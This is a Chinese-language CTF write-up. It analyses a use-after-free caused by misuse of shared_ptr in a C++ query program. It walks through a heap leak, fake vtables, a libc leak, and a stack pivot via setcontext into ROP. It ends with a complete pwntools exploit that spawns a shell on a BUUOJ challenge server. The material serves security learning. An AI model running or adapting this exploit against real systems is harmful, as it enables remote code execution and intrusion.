首先,检查一下程序的保护机制
然后,我们用IDA分析一下,在Query的构造函数中,如果我们查询的name存在,则将对应的对象从容易里取出,获得其shared_ptr对象,关键在于调用了shared ptr的get函数,取得了对象的指针值,用这个指针值创建了一个新的shared_ptr对象。漏洞点在于,从一个shared_ptr对象里取得了被托管的对象的地址值创建了一个新的shared_ptr对象,因此,前面shard_ptr指针里的计数不会被传递给新创建的这个shared_ptr对象,因此这个局部的shared_ptr对象析构时,把受托管的对象也给free掉了。
因此,我们第一次query,创建了一个对象,第二次query这个对象,将使得该对象被free,第三次query将使得程序崩溃,原因是结构体里的指针由于free被破坏了。经过分析,对象的结构体是这样的
1 2 3 4
| struct Node { void *func_tables; string name; }
|
由于UAF,我们可以通过feedback申请堆,将释放的这个结构体申请回来进行伪造。首先,我们通过feedback功能,可以直接获得堆地址
那么我们把伪造的虚表存到堆里先。
1 2 3 4 5 6 7 8
| _ZN9WordQueryD2Ev = 0x000000000040BF00 _ZN9WordQueryD0Ev = 0x000000000040BF50 _ZNK9WordQuery4evalERK9TextQuery = 0x000000000040BDB0 _ZNK9WordQuery3repB5cxx11Ev = 0x000000000040BE08 _Z11secertQueryv = 0x0000000000402EA9
feedback(p64(_ZN9WordQueryD2Ev) + p64(_ZN9WordQueryD0Ev) + p64(_ZNK9WordQuery4evalERK9TextQuery) + p64(_ZNK9WordQuery3repB5cxx11Ev))
|
这个伪造的虚表与程序原来真正的虚表是一模一样的,因为第一步我们的目的不是执行代码,我们得伪造Node结构体里的string对象,进而能够读取任意地址,从而泄露libc地址。
1 2 3 4
| basic_query('a'*0x8)
basic_query('a'*0x8) feedback(p64(fake_vtable_addr) + p64(heap_addr - 0x30) + p64(0x100) + 'a'*0x8)
|
如上,我们这一步主要是控制了string对象, 
因为每次query,都会打印出name,因此控制name,我们可以读取堆里任意地址的数据,我们在后面再通过feedback功能,由于feedback里string对象的扩充,会得到unsorted bin,从而,我们进行query的时候可以泄露unsorted bin里的数据。我们只需要控制string对象里的length成员,即可控制数据泄露的长度。
1 2 3 4 5 6 7
| feedback('b'*0x200)
basic_query('a'*0x8)
result = sh.recvuntil('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',drop = True) main_arena_88 = u64(result[-8:])
|
泄露出数据以后,由于找不到合适的one_gadget,因此,我们只能做栈迁移。通过调试,我们发现,在函数虚表里的第三个函数调用时,寄存器状态如下
其中rax指向的就是这个对象,而[rax]指向的就是虚表。我们找到一个合适的gadget
1 2 3
| mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x20]
|
因为虚表指针我们可以任意控制,所以rdi的值,我们也可以任意控制,从而rax也可以控制,我们再结合setcontext,即可完成栈迁移,然后做ROP。因此,第二次虚表伪造,我们将第三个函数指针伪造为这个gadget的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import *
context.log_level = 'debug'
sh = remote('node3.buuoj.cn',29002)
libc = ELF('./libc-2.23.so') malloc_hook_s = libc.symbols['__malloc_hook']
def basic_query(keyword): sh.sendlineafter('6. Exit','1') sh.sendlineafter('Keyword:',keyword)
def feedback(content): sh.sendlineafter('6. Exit','5') sh.sendlineafter('You want to feedback huh?',content)
_ZN9WordQueryD2Ev = 0x000000000040BF00 _ZN9WordQueryD0Ev = 0x000000000040BF50 _ZNK9WordQuery4evalERK9TextQuery = 0x000000000040BDB0 _ZNK9WordQuery3repB5cxx11Ev = 0x000000000040BE08 _Z11secertQueryv = 0x0000000000402EA9
feedback(p64(_ZN9WordQueryD2Ev) + p64(_ZN9WordQueryD0Ev) + p64(_ZNK9WordQuery4evalERK9TextQuery) + p64(_ZNK9WordQuery3repB5cxx11Ev)) sh.recvuntil('reward: ') heap_addr = int(sh.recvuntil('\n',drop = True),16)
fake_vtable_addr = heap_addr + 0x50 print 'fake_vtable_addr=',hex(fake_vtable_addr) basic_query('a'*0x8)
basic_query('a'*0x8) feedback(p64(fake_vtable_addr) + p64(heap_addr - 0x30) + p64(0x100) + 'a'*0x8)
feedback('b'*0x200)
basic_query('a'*0x8)
result = sh.recvuntil('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',drop = True) main_arena_88 = u64(result[-8:])
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() pop_rdi = libc_base + 0x0000000000021102
trans_reg = libc_base + 0x0000000000136aa3 setcontext_x = libc_base + libc.sym['setcontext'] + 0x35 print 'libc_base=',hex(libc_base) print 'setcontext_x=',hex(setcontext_x) print 'system_addr=',hex(system_addr)
payload = 'v'*0x10 + p64(trans_reg) + p64(_ZNK9WordQuery3repB5cxx11Ev) payload = payload.ljust(0x38,'c') payload += p64(heap_addr + 0x32510) payload += p64(setcontext_x) rop = p64(binsh_addr) + p64(system_addr) payload += rop payload = payload.ljust(0xA0,'c') payload += p64(heap_addr + 0x32538) payload += p64(pop_rdi) feedback(payload)
fake_vtable_addr = heap_addr + 0x324F0
feedback(p64(fake_vtable_addr) + p64(heap_addr + 0x98) + p64(0x8) + 'a'*0x8)
basic_query('a'*0x8)
sh.interactive()
|